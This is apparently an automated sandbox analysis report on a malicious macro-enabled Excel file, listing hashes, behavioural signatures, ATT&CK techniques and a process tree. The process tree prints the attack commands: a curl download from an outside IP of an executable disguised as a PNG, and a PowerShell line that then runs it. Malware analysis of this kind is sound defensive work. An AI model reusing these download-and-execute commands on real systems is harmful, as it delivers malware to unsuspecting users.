306b49ee2d7c8b286e5ff5334c84352d2d7fa39681f4f5349026cb1d1dbf9366

General

Target

306b49ee2d7c8b286e5ff5334c84352d2d7fa39681f4f5349026cb1d1dbf9366.xlsm
Size

140KB
MD5

6bf05c7bf2922c92b590ccd9f81adead
SHA1

80e46189cde0ffa29e0b587a4fa23a826a260048
SHA256

306b49ee2d7c8b286e5ff5334c84352d2d7fa39681f4f5349026cb1d1dbf9366
SHA512

0edad497446975d976ffd98c1cd0ad2c3f64c84910721669e49cc9ba08b9d7c0862759146603654e14f07b48991e0d33168f07a234369c253507caf000c14985

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2628	3972	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3016	3972	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3972 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2628 powershell.exe
2628 powershell.exe
2628 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2628 powershell.exe

pid	process
2628	powershell.exe
2628	powershell.exe
2628	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2628	powershell.exe

Suspicious use of SetWindowsHookEx 17 IoCs

Processes:

EXCEL.EXE

pid	process
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 3972 wrote to memory of 2628	3972	EXCEL.EXE	powershell.exe
PID 3972 wrote to memory of 2628	3972	EXCEL.EXE	powershell.exe
PID 3972 wrote to memory of 3016	3972	EXCEL.EXE	cmd.exe
PID 3972 wrote to memory of 3016	3972	EXCEL.EXE	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\306b49ee2d7c8b286e5ff5334c84352d2d7fa39681f4f5349026cb1d1dbf9366.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3972

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\qRKZS.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2628

C:\Windows\SYSTEM32\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\qRKZS.exe
2⤵
- Process spawned unexpected child process
PID:3016

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/2628-274-0x0000000000000000-mapping.dmp

Download
memory/2628-300-0x00000206EB576000-0x00000206EB578000-memory.dmp

Filesize
8KB

Download
memory/2628-293-0x00000206EB573000-0x00000206EB575000-memory.dmp

Filesize
8KB

Download
memory/2628-292-0x00000206EB570000-0x00000206EB572000-memory.dmp

Filesize
8KB

Download
memory/2628-285-0x00000206EB680000-0x00000206EB681000-memory.dmp

Filesize
4KB

Download
memory/2628-280-0x00000206EB390000-0x00000206EB391000-memory.dmp

Filesize
4KB

Download
memory/3016-275-0x0000000000000000-mapping.dmp

Download
memory/3972-117-0x00007FF8C8B00000-0x00007FF8C8B10000-memory.dmp

Filesize
64KB

Download
memory/3972-123-0x0000017F5F670000-0x0000017F61565000-memory.dmp

Filesize
31.0MB

Download
memory/3972-121-0x00007FF8E9170000-0x00007FF8EA25E000-memory.dmp

Filesize
16.9MB

Download
memory/3972-122-0x00007FF8C8B00000-0x00007FF8C8B10000-memory.dmp

Filesize
64KB

Download
memory/3972-118-0x00007FF8C8B00000-0x00007FF8C8B10000-memory.dmp

Filesize
64KB

Download
memory/3972-114-0x00007FF69A700000-0x00007FF69DCB6000-memory.dmp

Filesize
53.7MB

Download
memory/3972-116-0x00007FF8C8B00000-0x00007FF8C8B10000-memory.dmp

Filesize
64KB

Download
memory/3972-115-0x00007FF8C8B00000-0x00007FF8C8B10000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads